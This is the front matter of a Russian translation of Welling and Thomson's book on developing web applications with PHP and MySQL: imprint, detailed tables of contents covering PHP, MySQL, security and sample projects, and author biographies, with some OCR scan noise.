Текст
                    Разработка
веб-приложений
с помощью
РНР и MySQL
Четвертое издание
Люк Веллинг
Лора Томсон
W
Москва • Санкт-Петербург • Киев
2010

ББК 32.973.26-018.2.75 В27 УДК 681.3.07 Издательский дом “Вильямс” Зав. редакцией С.Н. Тригуб Перевод с английского А.А. Моргунова Под редакцией Ю.Н. Артеменко По общим вопросам обращайтесь в Издательский дом “Вильямс” по адресу: info@williamspublishing.com, http://www.williamspublishing.com & Веллинг, Люк, Томсон, Лора. В27 Разработка веб-приложений с помощью РНР и MySQL, 4-е изд. : Пер. с англ. — М. : ООО “И.Д. Вильямс”, 2010. — 848 с. : ил. — Парал. тит. англ. ISBN 978-5-8459-1574-0 (рус.) ББК 32.973.26-018.2.75 Все названия программных продуктов являются зарегистрированными торговыми марками соот- ветствующих фирм. Никакая часть настоящего издания ни в каких целях не может быть воспроизведена в какой бы то ни было форме и какими бы то ни было средствами, будь то электронные или механические, включая фотокопирование и запись на магнитный носитель, если на это нет письменного разрешения изда- тельства Addison-Wesley. Authorized translation from the English language edition published by Addison-Wesley Copyright © 2009. All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher. Russian language edition is published by Williams Publishing House according to the Agreement with R&I Enterprises International, Copyright © 2010 Научно-популярное издание Люк Веллинг, Лора Томсон Разработка веб-приложений с помощью РНР и MySQL 4-е издание Верстка Т.Н. Артеменко Художественный редактор В.Г. Павлютин Подписано в печать 29.04.2009. Формат 70x100/16. Гарнитура Times. Печать офсетная. Усл. печ. л. 68,37. Уч.-изд. л. 48,83. Тираж 1000 экз. Заказ № 19782. Отпечатано по технологии CtP в ОАО “Печатный двор” им. А. М. 1орького 197110, Санкт-Петербург, Чкаловский пр., 15. ООО “И. Д. Вильямс”, 127055, г. Москва, ул. Лесная, д. 4$, стр. 1 1SAN 978-5-8459-1574-0 (рус.) © Издательский дом “Вильямс”, 2010 ВМ 9784^672-32916-6 (англ.) © by Pearson Education, Inc., 2009
Оглавление Часть I. Использование РНР 37 Глава 1. Введение в РНР 38 Глава 2. Хранение и выборка данных 79 Глава 3. Использование массивов 100 Глава 4. Манипулирование строками и регулярные выражения 124 Глава 5. Многократное использование кода и создание функций 148 Глава 6. Объектно-ориентированное программирование на РНР 173 Глава 7. Обработка ошибок и исключений 202 Часть II. Использование MySQL 211 Глава 8. Проектирование баз данных для веб-приложений 212 Глава 9. Создание базы данных для веб-приложений 224 Глава 10. Работа с базой данных MySQL 245 Глава 11. Веб-доступ к базе данных MySQL с помощью РНР 266 Глава 12. Дополнительные сведения по администрированию MySQL 282 Глава 13. Дополнительные сведения по программированию в MySQL 303 Часть III. Электронная коммерция и безопасность 315 Глава 14. Эксплуатация сайта электронной коммерции 316 Глава 15. Безопасность сайта электронной коммерции 330 Глава 16. Безопасность веб-приложений 351 Глава 17. Реализация аутентификации с помощью РНР и MySQL 377 Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 394 Часть IV. Более сложные технологии РНР 413 Глава 19. Взаимодействие с файловой системой и сервером 414 Глава 20. Использование функций работы с сетью и протоколами 432 Глава 21. Работа с датой и временем 448 Глава 22. Генерация изображений 461 Глава 23. Управление сеансами в РНР 483 Глава 24. Другие полезные возможности 496 Часть V. Реальные проекты на РНР и MySQL 503 Глава 25. Использование РНР и MySQL в крупных проектах 504 Глава 26. Отладка 519 Глава 27. Реализация задачи аутентификации и персонализации посетителей 536 Глава 28. Разработка покупательской тележки 568 Глава 29. Разработка службы веб-почты 607 Глава 30. Разработка диспетчера списков рассылки 638 Глава 31. Разработка веб-форумов 686 Глава 32. Генерация персонифицированных PDF-документов 713 Глава 33. Подключение к веб-службам с помощью XML и SOAP 745 Глава 34. Создание приложений Web 2.0 с помощью Ajax 786 Часть VI. Приложения 813 Приложение А. Инсталляция РНР и MySQL 814 Приложение Б. Ресурсы в Интернете 833 Предметный указатель 837
Содержание Об авторах 25 О соавторах 25 Благодарности 26 От издательства 26 Введение 27 Для чегф следует прочесть эту книгу 27 Чего можно добиться, используя эту книгу 28 Что такое РНР? 28 Что такое MySQL? 29 Для чего следует использовать РНР и MySQL? 29 Некоторые преимущества РНР 30 Производительность 30 Масштабируемость 31 Интеграция с базами данных 31 Встроенные библиотеки 31 Стоимость 31 Простота изучения РНР 31 Поддержка объектно-ориентированного программирования 31 Переносимость 32 Гибкость подхода к разработке 32 Исходный код 32 Доступность поддержки и документации 32 Что нового в версии РНР 5? 32 Ключевые средства РНР 5.3 33 Некоторые преимущества MySQL 34 Производительность 34 Низкая стоимость 34 Простота использования 35 Переносимость 35 Исходный код 35 Доступность поддержки 35 Что нового в версии MySQL 5? 35 Как построена эта книга 36 Заключение 36 Часть I. Использование РНР 37 Глава 1. Введение в РНР 38 Предварительное условие: доступ к РНР 39 Пример приложения: “Автозапчасти от Вована” 39 Форма заказа 39 Обработка формы 41 Встраивание РНР в HTML . 41 6 Содержание
PHP-дескрипторы 42 Операторы РНР 43 Пробелы • 44 Комментарии 44 Добавление динамического содержимого 45 Вызов функций 45 Использование функции date () 46 Доступ к переменным формы 46 Короткие, средние и длинные переменные 46 Конкатенация строк 49 Переменные и литералы 50 Идентификаторы 50 Типы переменных ‘ 51 Типы данных РНР 51 Степень типизации 52 Приведение типов 52 Переменные переменных 53 Объявление и использование констант 53 Область действия переменных 54 Использование операций • 55 Арифметические операции 55 Строковые операции Л 56 Операции присваивания 56 Операции сравнения 59 Логические операции 60 Поразрядные операции 60 Другие операции • 61 Вычисление итоговых сумм для формы 63 Приоритет и ассоциативность: вычисление выражений 64 Использование функций для работы с переменными 66 Проверка и установка типов переменных 66 Проверка состояния переменных 67 Повторная интерпретация переменных 68 Принятие решений на основе условий 68 Операторы if 68 Блоки кода 69 Операторы else 69 Операторы el seif - 70 Операторы switch 71 Сравнение разных условных операторов 72 Повторение действий с помощью итераций 73 Циклы while 74 Циклы for и foreach 75 Циклы do. . while 76 Выход из управляющей структуры или сценария % 77 Использование альтернативного синтаксиса управляющих структур 77 Использование declare 77 Что дальше 78 Содержание 7
Глава 2. Хранение и выборка данных Сохранение данных для дальнейшего их использования Сохранение и выборка заказов в компании “Автозапчасти от Вована” Обработка файлов Открытие файла Режимы файлов Использование функции f open () для открытия файла Открытие файлов через FTP или HTTP Возможные проблемы при открытии файлов Запись в файл Параметры функции fwrite () Форматы файлов Закрытие файла Считывание из файла Открытие файла для чтения: функция f open () Как узнать, где остановиться: функция f eof () Построчное чтение: функции fgets (), fgetss () и fgetcsv () Чтение всего файла: функции readfile (), fpassthru () и file () Чтение символа: функция f get с () Чтение строк произвольной длины: функция f read () Другие полезные файловые функции Проверка, существует ли файл: функция file exists () Выяснение размера файла: функция filesize () Удаление файла: функция unlink () Перемещение внутри файла: функции rewind (), f seek () и f tell () Блокирование файлов Лучший способ: системы управления базами данных Проблемы, связанные с использованием двумерных файлов Как эти проблемы устраняются с помощью систем управления реляционными базами данных Дополнительные источники информации Что дальше Глава 3. Использование массивов Что такое массив Численно-индексированные массивы Инициализация численно-индексированных массивов Доступ к содержимому массива Использование циклов для доступа к массиву Массивы с различными индексами Инициализация массива Доступ к элементам массива Использование циклов Операции для работы с массивами Многомерные массивы Сортиррвка массивов Использование функции sort () 79 79 80 81 81 81 82 84 84 87 87 87 88 90 90 91 91 92 93 94 94 94 94 94 95 96 97 97 98 99 99 100 101 101 102 102 103 104 104 104 104 106 107 110 ПО 8 Содержание
Использование функций asort () и ksort () для сортировки массивов 110 Сортировка в обратном порядке 111 Сортировка многомерных массивов 111 Определяемые пользователем функции сортировки 111 Определяемая пользователем сортировка в обратном порядке 113 Изменение порядка следования элементов в массивах 114 Использование функции shuffle () 114 Использование функции array reverse () 115 Загрузка массивов из файлов 116 Другие манипуляции с массивами 118 Перемещение внутри массива: функции each (), current (), reset (), end(), next(), pos() и prev() 119 Применение любой функции к каждому элементу массива: функция array walk () 119 Подсчет элементов в массиве: функции count (), sizeof () иarray_count_values() 121 Преобразование массивов в скалярные переменные: функция extract () 121 Дополнительные источники информации 123 Что дальше "" 123 Глава 4. Манипулирование строками и регулярные выражения 124 Пример приложения: интеллектуальная форма отправки электронной почты 124 Форматирование строк 126 Усечение строки: функции chop (), Itrim () и trim () 127 Форматирование строк для отображения 127 Форматирование строк для хранения: функции addslashes () и stripslashes() 130 Объединение и разбиение строк с помощью строковых функций 132 Использование функций explode (), implode () и j oin () 132 Использование функции strtok () 133 Использование функции substr () 134 Сравнение строк 135 Упорядочение строк: функции strcmp (), strcasecmp () и strnatcmp () 135 Проверка длины строки с помощью функции strlen () 135 Сопоставление и замена подстрок с помощью строковых функций 136 Поиск подстрок в строках: функции strstr (), strchr (), strrchr () HstristrO _ 136 Определение позиции подстроки: функции strpos () и strrpos () 137 Замена подстрок: функции str_replace () и substr_replace () , 138 Введение в регулярные выражения 139 Основы 140 Наборы символов и классы 140 Повторение 4 141 Подвыражения 141 Подвыражения с подсчетом 142 Привязка к началу или концу строки 142 Ветвление 142 Сопоставление с литеральными значениями специальных символов 14$ Содержание 9
Краткое описание специальных символов 143 Использование регулярных выражений в приложении интеллектуальной формы отправки электронной почты 144 Поиск подстрок с помощью регулярных выражений 145 Замена подстрок с помощью регулярных выражений 145 Разбиение строк с помощью регулярных выражений 146 Дополнительные источники информации 146 Что дальше ’ 147 Глава 5. Многократное использование кода и создание функций 148 Преимущества многократного использования кода 149 Затраты 149 Надежность 149 Единообразие 149 Использование операторов require () и include () 150 Расширения имен файлов и require () 150 Использование оператора require () для шаблонов веб-сайта 152 Использование конфигурационных параметров auto prepend file и auto_append_file 156 Использование функций в РНР 157 Вызов функций 157 Вызов неопределенной функции 159 Регистр символов и имена функций 160 Определение собственных функций 160 Базовая структура функции 160 Именование функций 161 Параметры 162 Область действия 164 Передача по ссылке и передача по значению 166 Ключевое слово return 168 Возврат значений из функции 169 Реализация рекурсии 170 Пространства имен 171 Дополнительные источники информации 172 Что дальше 172 Глава 6. Объектно-ориентированное программирование на РНР 173 Концепции объектно-ориентированного программирования 174 Классы и объекты 174 Полиморфизм 175 Наследование 176 Создание классов, атрибутов и операций в РНР 176 Структура класса 176 Конструкторы 177 Деструкторы 177 Создание экземпляров класса 178 Использование атрибутов класса е 178 10 Содержание
Управление доступом с помощью модификаторов private и public 180 Вызов операций класса 181 Реализация наследования в РНР 181 Управление видимостью при наследовании с помощью модификаторов private и protected 182 Переопределение 183 Предотвращение наследования и переопределения с помощью final 184 Множественное наследование 185 Реализация интерфейсов 186 Проектирование классов 186 Написание кода класса 187 Дополнительные объектно-ориентированные возможности в РНР 194 Использование констант класса 195 Реализация статических методов 195 Проверка типа объекта и указание типов 195 Позднее статическое связывание 196 Клонирование объектов 196 Использование абстрактных классов 197 Перегрузка методов с помощью метода_call () 197 Использование__autoload () ’ 198 Реализация итераторов и итерации 198 Преобразование классов в строки 200 Использование Reflection API 200 Что дальше 201 Глава 7. Обработка ошибок и исключений 202 Концепции обработки ошибок 202 Класс Exception 204 Исключения, определяемые пользователем 204 Исключения в приложении “Автозапчасти от Вована” 207 Исключения и другие механизмы обработки ошибок РНР 210 Дополнительные источники информации 210 Что дальше 210 Часть II. Использование MySQL 211 Глава 8. Проектирование баз данных для веб-приложений 212 Концепции реляционных баз данных 213 Таблицы 213 Столбцы ' 214 Строки 214 Значения 214 Ключи 214 Схемы • 215 Отношения 216 Как спроектировать собственную базу данных для веб-приложения 216 Думайте о реальных объектах, которые вы моделируете 216 Содержание 11
Избегайте хранения избыточной информации 217 Используйте элементарные значения столбцов 219 Выбирайте подходящие ключи 220 Подумайте, какие вопросы потребуется задавать базе данных 220 Избегайте проектов с большим количеством пустых атрибутов 220 Типы таблиц 221 Архитектура баз данных для веб-приложений 221 Дополнительная информация 223 Что дальше 223 Глава 9. Создание базы данных для веб-приложений 224 Использование монитора MySQL 225 Вход в MySQL 226 Создание баз данных и пользователей 227 Настройка пользователей и полномочий 227 Знакомство с системой полномочий MySQL 228 Принцип минимально необходимых полномочий 228 Настройка пользователей: команда GRANT 228 Типы и уровни полномочий 230 Команда REVOKE 232 Примеры использования команд GRANT и REVOKE 232 Установка пользователя для доступа из Интернета 233 Использование требуемой базы данных 233 Создание таблиц баз данных 234 Значения других ключевых слов 235 Что означают типы столбцов 236 Просмотр базы данных с помощью команд SHOW и DESCRIBE 237 Создание индексов 238 Идентификаторы в MySQL 239 Типы данных столбцов 240 Числовые типы 240 Дополнительные источники информации 244 Что дальше 244 Глава 10. Работа базой данных MySQL 245 Что такое SQL? 245 Вставка в базу данных 246 Извлечение из базы данных 248 Извлечение данных по определенному критерию 249 Извлечение данных из нескольких таблиц 251 Извлечение данных в определенном порядке 256 Группировка и агрегирование данных 256 Выбор возвращаемых строк 258 Использование подзапросов 259 Обновление записей в базе данных 261 Изменение таблиц после создания 261 Удаление записей из базы данных 264 12 Содержание
Удаление таблиц 264 Удаление целой базы данных 264 Дополнительные источники информации 264 Что дальше 265 Глава 11. Веб-доступ к базе данных MySQL с помощью РНР 266 Как работает архитектура баз данных для Интернет-доступа 267 Выполнение Интернет-запросов к базе данных 269 Проверка и фильтрация входных данных 270 Установка соединения 271 Выбор базы данных 272 Выполнение запроса к базе данных 272 Получение результатов запроса 273 Отсоединение от базы данных 274 Внесение новой информации в базу данных 274 Использование подготовленных операторов 277 Использование других PHP-интерфейсов работы с базами данных 278 Использование обобщенного интерфейса базы данных: PEAR MDB2 279 Дополнительные источники информации . 281 Что дальше 281 Глава 12. Дополнительные сведения по администрированию MySQL 282 Подробное ознакомление с системой полномочий 282 Таблица user 283 Таблицы db и host 285 Таблицы tables_priv, columns_priv и procs_priv 286 Управление доступом: использование таблиц полномочий в среде MySQL 287 Обновление полномочий: когда изменения вступают в силу? 288 Обеспечение безопасности базы данных MySQL 288 MySQL с точки зрения операционной системы 288 Пароли 289 Полномочия пользователей 289 Проблемы, связанные с веб-доступом 290 Получение дополнительной информации о базах данных 291 Получение информации с помощью оператора SHOW 291 Получение информации о столбцах с помощью оператора DESCRIBE 293 Получение информации о способе выполнения запросов с помощью оцератора EXPLAIN 293 Оптимизация базы данных 297 Оптимизация проекта * 297 Права доступа 298 Оптимизация таблиц 298 Использование индексов 298 Использование значений по умолчанию 298 Дополнительные советы 298 Резервное копирование базы данных MySQL 299 Восстановление базы данных MySQL 299 Содержание 13
Реализация репликации 300 Настройка ведущего сервера 301 Выполнение первоначальной передачи данных 301 Создание одного или нескольких ведомых серверов 302 Дополнительные источники информации 302 Что дальше 302 Глава 13. Дополнительные сведения по программированию в MySQL зоз Оператор LOAD DATA INFILE 303 Механизмы хранения 304 Транзакции 305 Определения транзакций 305 Использование транзакций с таблицами InnoDB 306 Внешние ключи 307 Хранимые процедуры 308 Простой пример 308 Локальные переменные 310 Курсоры и управляющие структуры 311 Дополнительные источники информации 314 Что дальше 314 Часть III. Электронная коммерция и безопасность 315 Глава 14. Эксплуатация сайта электронной коммерции 316 Определение целей, которые должны быть достигнуты 316 Типы коммерческих веб-сайтов 317 Сетевые брошюры 317 Прием заказов на товары и услуги 320 Предоставление услуг и цифровых товаров 324 Повышение привлекательности товаров и услуг 324 Снижение расходов 325 Риски и угрозы 326 Взломщики 326 Невозможность быстрой отдачи средств 327 Отказы компьютерного оборудования 327 Сбои питания, коммуникационных линий, сети и службы доставки 327 Интенсивная конкуренция 327 Ошибки программного обеспечения 328 Изменения в политике и налогообложении 328 Ограниченные возможности системы 328 Выбор стратегии 329 Что дальше 329 Глава 15. Безопасность сайта электронной коммерции ззо Важность деловой информации 331 Угрозы безопасности 331 Разглашение конфиденциальных данных 332 14 Содержание
Потеря или разрушение данных 334 Изменение данных 334 Отказ в обслуживании 335 Ошибки программного обеспечения 336 Отказ от обязательств 337 Удобство использования, производительность, снижение затрат и безопасность 338 Разработка политики безопасности 339 Принципы аутентификации 339 Основы шифрования 341 Шифрование секретным ключом 342 Шифрование открытым ключом 343 Цифровые подписи 344 Цифровые сертификаты 345 Защищенные веб-серверы 345 Аудит и регистрация 347 Брандмауэры 347 Резервное копирование данных 348 Резервное копирование общих файлов 348 Резервное копирование и восстановление баз данных MySQL 349 Физическая безопасность 349 Что дальше 350 Глава 16. Безопасность веб-приложений 351 Стратегии защиты 351 Сразу настройтесь на верный лад 352 Баланс между безопасностью и удобством использования 352 Мониторинг безопасности 352 Наш базовый подход 353 Возможные угрозы 353 Доступ к секретным данным или их изменение 353 Пропажа или уничтожение данных 354 Отказ в обслуживании 354 Внедрение вредоносного кода 354 Компрометация сервера 355 Определение, с кем мы имеем дело 355 Взломщики 355 Ничего не подозревающие пользователи зараженных машин 355 Недовольные работники 356 Кражи оборудования 356 Мы сами 356 Защита кода 356 Фильтрация пользовательского ввода 357 Литерализация выходных данных 360 Организация кода 362 Содержимое кода 362 Файловая система 363 Устойчивость кода и ошибки 363 Кавычки выполнения и вызов ехес 364 Содержание *15
Sbavrra веб-браузера и РНР 365 ^‘Сведите за обновлениями ПО 366 й* * Просмотр файла php .ini 366 - М- Настройка веб-сервера 367 Веб-fifжложения на коммерческих хостах 369 кщгта сервера баз данных 369 W Пользователи и права доступа 370 ёг* Отправка данных на сервер 370 Подключение к серверу 371 ** Работа сервера 372 Защита сети , 372 Установите брандмауэры 372 Используйте DMZ 372 Подготовьтесь к DoS- и DDoS-атакам 373 Защита компьютера и операционной системы 374 Своевременное обновление операционной системы 374 Запускайте только необходимые программы 374 Физическая защита сервера 374 Планирование катастроф 375 Что дальше 376 Глава 17. Реализация аутентификации с помощью РНР и MySQL 377 Идентификация посетителей 377 Реализация контроля доступа 378 Хранение паролей 380 Шифрование паролей 382 Защита нескольких страниц 383 Базовая аутентификация 384 Использование базовой аутентификации в РНР 385 Использование базовой аутентификации с помощью файлов -htaccess сервера Apache 387 Использование аутентификации с помощью модуля mod auth mysql 390 Установка модуля mod_auth_mysql 391 Использование модуля mod auth mysql 391 Создание собственного метода аутентификации 392 Дополнительные источники информации 393 Что дальше 393 Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 394 Обеспечение безопасности транзакций 394 Компьютер пользователя 395 Интернет 396 Ваша система 397 Использование протокола защищенных сокетов (SSL) 398 Проверка введенных пользователем данных 401 Обеспечение безопасного хранения данных 402 Надежное хранение номеров кредитных карточек 403 16 Содержание
Использование шифрования в РНР 403 Инсталляция GPG 404 Тестирование GPG 406 Дополнительные источники информации 411 Что дальше 411 Часть IV. Более сложные технологии РНР 413 Глава 19. Взаимодействие с файловой системой и сервером 414 Выгрузка файлов 414 HTML-код для загрузки файла 415 Написание PHP-сценария для работы с файлами 417 Устранение часто встречающихся проблем 420 Использование функций работы с каталогами 421 Чтение содержимого каталога 421 Получение информации о текущем каталоге 424 Создание и удаление каталогов 424 Взаимодействие с файловой системой 425 Получение информации о файле 425 Изменение свойств файла 427 Создание, удаление и перемещение файлов 428 Использование функций запуска программ 428 Взаимодействие со средой: функции getenv () и putenv () 431 Дополнительные источники информации 431 Что дальше 431 Глава 20. Использование функций работы с сетью и протоколами 432 Обзор сетевых протоколов 432 Отправка и получение почты 433 Использование данных с других веб-сайтов 433 Использование функций сетевого контроля 436 Создание резервных и зеркальных копий файлов 439 Использование FTP для резервного и зеркального копирования файла 440 Выгрузка файлов на сервер 445 Как избежать тайм-аутов 446 Другие функции работы с FTP 446 Дополнительные источники информации 447 Что дальше ' 447 Глава 21. Работа с датой и временем 448 Получение даты и времени средствами РНР 448 Использование функции date () 448 Работа с метками времени Unix 450 Использование функции get date () 451 Проверка правильности дат с помощью функции checkdate () 453 Форматирование меток времени 453 Преобразования дат между форматами РНР и MySQL 455 Операции над датами в РНР 456 Содержание 17
Операции над датами в MySQL Использование микросекунд Использование календарных функций Дополнительные источники информации Что дальше 457 458 459 460 460 Глава 22. Генерация изображений Настройка поддержки изображений в РНР Форматы изображений JPEG PNG WBMP GIF Создание изображений Создание холста Рисование и вывод текста в изображении Вывод полученного изображения Освобождение ресурсов Использование автоматически сгенерированных изображений на других страницах Использование текста и шрифтов при создании изображений Настройка базового холста Подбор размера текста на кнопке Позиционирование текста Вывод текста на кнопку Заключительные действия Вычерчивание фигур и построение графиков Другие функции обработки изображений Дополнительные источники информации Что дальше 461 462 462 462 463 463 463 464 465 465 467 468 468 469 471 472 474 474 475 475 482 482 482 Глава 23. Управление сеансами в РНР Что такое управление сеансами Базовая функциональность сеансов Что такое cookie-набор? Установка cookie-наборов из РНР Использование cookie-наборов в сеансах Сохранение идентификатора сеанса Реализация простых сеансов Запуск сеанса Регистрация переменных сеанса Использование переменных сеанса Разрегистрация переменных и уничтожение сеанса Пример простого сеанса Конфигурирование управления сеансами Реализация аутентификации средствами управления сеансами Дополнительные источники информации Что дальше 483 483 483 484 484 485 485 486 486 487 487 487 488 489 490 495 495 18 Содержание
Глава 24. Другие полезные возможности 496 Выполнение команд,’содержащихся в строке, с помощью функции eval () 496 Прекращение выполнения с помощью die и exit 497 Сериализация переменных и объектов 497 Получение информации о среде РНР 498 Определение загруженных расширений 498 Определение владельца сценария 499 Определение даты последнего изменения сценария 499 Временное изменение среды выполнения 500 Выделение цветом элементов исходного кода 501 Использование РНР в командной строке 501 Что дальше 502 Часть V. Реальные проекты на РНР и MySQL 5оз Глава 25. Использование РНР и MySQL в крупных проектах 504 Применение методов проектирования программного обеспечения при разработке Web-приложений 505 Планирование и сопровождение проекта Web-приложения 505 Многократное использование кода 506 Написание удобного в сопровождении кода 507 Стандарты написания кода 507 Управление версиями 511 Выбор среды разработки 513 Документирование проектов 513 Создание прототипов 514 Разделение логики и содержимого 515 Оптимизация кода 516 Использование простой оптимизации 516 Использование продуктов Zend 516 Тестирование 517 Дополнительные источники информации 518 Что дальше 518 Глава 26. Отладка 519 Программные ошибки ' 519 Синтаксические ошибки 519 Ошибки времени выполнения 521 Логические ошибки 526 Вспомогательное средство отладки переменных 527 Уровни выдачи сообщений об ошибках 529 Изменение настроек уровня сообщения об ошибках 530 Генерация собственных ошибок 532 Изящная обработка ошибок 532 Что дальше 535 Содержание 19
Глава 27. Реализация задачи аутентификации и персонализации посетителей 536 Компоненты решения 536 Идентификация и персонализация пользователей 537 Хранение закладок 538 Рекомендация закладок 538 Обзор решения 538 Реализация базы данных 540 Реализация базового варианта сайта 541 Реализация аутентификации пользователей 543 Регистрация пользователей 543 Вход в систему 549 Выход из системы 552 Смена пароля 553 Переустановка забытых паролей 555 Реализация хранения и извлечения закладок 559 Добавление закладок 559 Отображение закладок 561 Удаление закладок 562 Выработка рекомендаций 564 Возможные расширения 567 Что дальше 567 Глава 28. Разработка покупательской тележки 568 Компоненты решения 568 Построение онлайнового каталога 569 Отслеживание выбираемого товара 569 Реализация платежной системы 570 Разработка интерфейса администрирования 570 Обзор решения 571 Создание базы данных 574 Реализация онлайнового каталога 576 Вывод списка категорий 578 Вывод списка книг, относящихся к заданной категории 580 Вывод информации о конкретной книге 581 Реализация покупательской тележки 583 Использование сценария show_cart. php 583 Вывод содержимого тележки 586 Добавление элементов в тележку 588 Сохранение изменений содержимого тележки 589 Печать итоговых данных в строке заголовка 590 Выполнение окончательного расчета 591 Реализация платежа 596 Реализация интерфейса администрирования 598 Расширение проекта 605 Использование существующей системы 606 Что дальше • 606 20 Содержание
Глава 29. Разработка службы веб-почты 607 Компоненты решения 607 Почтовые протоколы: POP3 и IMAP 607 Поддержка POP3 и IMAP в РНР 608 Обзор решения 609 Создание базы данных 611 Архитектура сценария 612 Вход и выход из системы 617 Настройка учетных записей 620 Создание новой учетной записи 622 Изменение существующей учетной записи 623 Удаление учетной записи 623 Чтение почтовых сообщений 624 Выбор учетной записи 624 Просмотр содержимого почтового ящика 626 Чтение почтовых сообщений 629 Просмотр заголовков сообщений 631 Удаление почтовых сообщений 632 Отправка почты 633 Отправка нового сообщения 633 Ответ или переадресация сообщения 635 Расширение проекта 636 Что дальше 637 Глава 30. Разработка диспетчера списков рассылки 638 Компоненты решения 639 Создание базы данных списков и подписчиков 639 Загрузка файлов 640 Отправка сообщений электронной почты с вложениями 640 Обзор решения 641 Создание базы данных 643 Архитектура сценария 645 Реализация процедуры входа в систему 652 Создание новой учетной записи 652 Вход в систему 655 Реализация функций пользователя 657 Просмотр списков рассылки 658 Просмотр сведений о списке рассылки 662 Просмотр архивов списков рассылки 664 Подписка и отмена подписки 665 Изменение параметров настройки учетной записи 666 Изменение пароля 667 Выход из системы 668 Реализация функций администратора 669 Создание нового списка рассылки 669 Загрузка нового информационного бюллетеня 671 Обработка загрузки нескольких файлов 674 Содержание 21
Предварительный просмотр информационного бюллетеня 678 Отправка сообщения 679 Расширение проекта 684 Что дальше 685 Глава 31. Разработка веб-форумов 686 Процесс создания 686 Компоненты решения 687 Обзор решения 688 Создание базы данных 689 Просмотр дерева статей z 692 Разворачивание и сворачивание 694 Отображение статей 697 Использование класса treenode 698 Просмотр отдельных статей 703 Добавление новых статей 705 Расширение проекта 712 Использование существующих систем 712 Что дальше 712 Глава 32. Генерация персонифицированных PDF-документов 713 Обзор проекта 713 Оценка форматов документов 714 Бумажная копия 714 ASCII-формат 715 HTML-формат 715 Форматы текстовых процессоров 715 Расширенный текстовый формат 716 PostScript-формат 717 PDF-формат 718 Компоненты решения 718 Система вопросов и ответов 719 Программное обеспечение для генерации документов 719 Программное обеспечение для создания шаблона RTF-документов 719 Программное обеспечение для создания шаблона PDF-документов 719 Программное обеспечение для создания PDF-документов с помощью кода 721 Обзор решения 722 Задание вопросов 723 Оценка ответов 724 Генерация RTF-сертификата 726 1енерация PDF-сертификата из шаблона 730 Генерация PDF-документа с использованием библиотеки PDFlib 733 Простейший сценарий для PDFlib 733 1енерация сертификата с помощью PDFlib 737 Решение проблем, связанных с заголовками 744 Расширение проекта 744 Что дальше 744 22 Содержание
Глава 33. Подключение к веб-службам с помощью XML и SOAP 745 Обзор проекта: работа с XML и веб-службами 745 Основы XML 746 Основы веб-служб 749 Компоненты решения 750 Использование интерфейсов веб-служб Amazon 751 Разбор XML: ответы REST 752 Использование SOAP с РНР 752 Кэширование 752 Обзор решения 752 Ядро приложения 757 Отображение книг конкретной категории 762 Извлечение класса AmazonResultSet 764 Использование REST для выдачи запроса и извлечения результата 771 Использование метода SOAP 777 Кэширование данных запроса 778 Построение покупательской тележки 780 Оплата на сайте Amazon 783 Инсталляция кода проекта 784 Расширение проекта 785 Дополнительные источники информации 785 Глава 34. Создание приложений Web 2.0 с помощью Ajax 786 Что такое Ajax? 787 HTTP-запросы и ответы 787 DHTML и XHTML 788 Каскадные стилевые таблицы (CSS) 789 Программирование на стороне клиента 790 Программирование на стороне сервера 790 XMLhXLST 791 Основы Ajax 791 Объект XMLHTTPRequest 791 Коммуникации с сервером 793 Работа с ответом сервера 794 Сборка 796 Добавление элементов Ajax в созданные ранее проекты 798 Добавление элементов Ад ах в приложение PHPBookmark 799 Дополнительные источники информации 810 Дополнительная информация по объектной модели документов (DOM) 810 JavaScript-библиотеки для Ajax-приложений ' 811 Веб-сайты разработчиков на Ajax 811 Часть VI. Приложения 81з Приложение А. Инсталляция РНР и MySQL 814 Инсталляция Apache, РНР и MySQL на Unix-машине 815 Инсталляция бинарных файлов 815 Содержание 23
Инсталляция исходных кодов Фрагменты файла httpd. conf Работает ли поддержка РНР? Работает ли SSL? Инсталляция Apache, РНР и MySQL на Windows-машине Инсталляция MySQL под Windows Инсталляция Apache под Windows Инсталляция РНР под Windows Инсталляция PEAR Настройка других конфигураций 816 822 823 824 825 826 827 829 831 832 Приложение Б. Ресурсы в Интернете Ресурсы, посвященные РНР Ресурсы, посвященные MySQL и SQL Ресурсы, посвященные Apache Разработка веб-приложений 833 833 835 836 836 Предметный указатель 837 24 Содержание
Об авторах Лора Томсон (Laura Thomson) — ведущий разработчик программного обеспечения в Mozilla Corporation. Ранее работала в компаниях OmniTI и Tangled Web Design, а также в университете RMIT и Бостонской консалтинговой группе (Boston Consulting Group). Имеет степень бакалавра прикладных наук (специализация “Информатика”) и степень с отличием бакалавра технических наук (специализация “Разработка компьютерных систем”). В свободное время любит заниматься верховой ездой, спо- рить о бесплатном и открытом ПО, а также поспать. Люк Веллинг (Luke Welling) — веб-архитектор в компании OmniTI и постоянный участник конференций по системам с открытым исходным кодом и веб-разработке, таких как OSCON, ZendCon, MySQLUC, PHPCon, OSDC и LinuxTag. До перехода в OmniTI работал на компанию веб-аналитики Hitwise.com, в MySQL АВ и в качестве не- зависимого консультанта в Tangled Web Design. Получил степень бакалавра прикладных наук (специализация “Информатика”) университете RMIT в Мельбурне, Австралия. В свободное время пытается бороться с бессонницей. О соавторах Джули Мелони (Julie С. Meloni) — технический директор в i2i Interactive (www. i2ii.com), мультимедийной компании, расположенной в Лос-Алтос, Калифорния. Занимается разработкой веб-приложений с первых дней существования Веб и пом- нит волнующий выход в свет первого веб-браузера с графическим интерфейсом поль- зователя. Является автором множества книг и статей по языкам программирования для Веб и базам данных, включая бестселлер Sams Teach Yourself РНР, MySQL, and Apache All in One (SAMS Publishing). Адам Дефилдс (Adam DeFields) — консультант, специализирующийся на разработ- ке веб-приложений, управлении проектами и учебном планировании. Проживает в Гранд-Рапидс, Мичиган, где трудится в основанной им в 2002 г. компании Emanation Systems, LLC (www.emanationsystemsllc.com). На протяжении своей карьеры ис- пользовал различные технологии веб-разработки, однако в основном ориентировал- ся на проекты, основанные на PHP/MySQL. Марк Вандшнайдер (Marc Wandschneider) — независимый разработчик программ- ного обеспечения, автор и участник многих конференций. В последние годы боль- шое внимание уделяет написанию надежных и масштабируемых веб-приложений, а в 2005 г. написал книгу Care Web Application Programming with РНР and MySQL. Ранее был главным разработчиком сайта сообщества с открытым исходным кодом SWiK (http://swik.net). В настоящее время проживает в Пекине, где занимается китай- ским языком и программированием. Об авторах 25
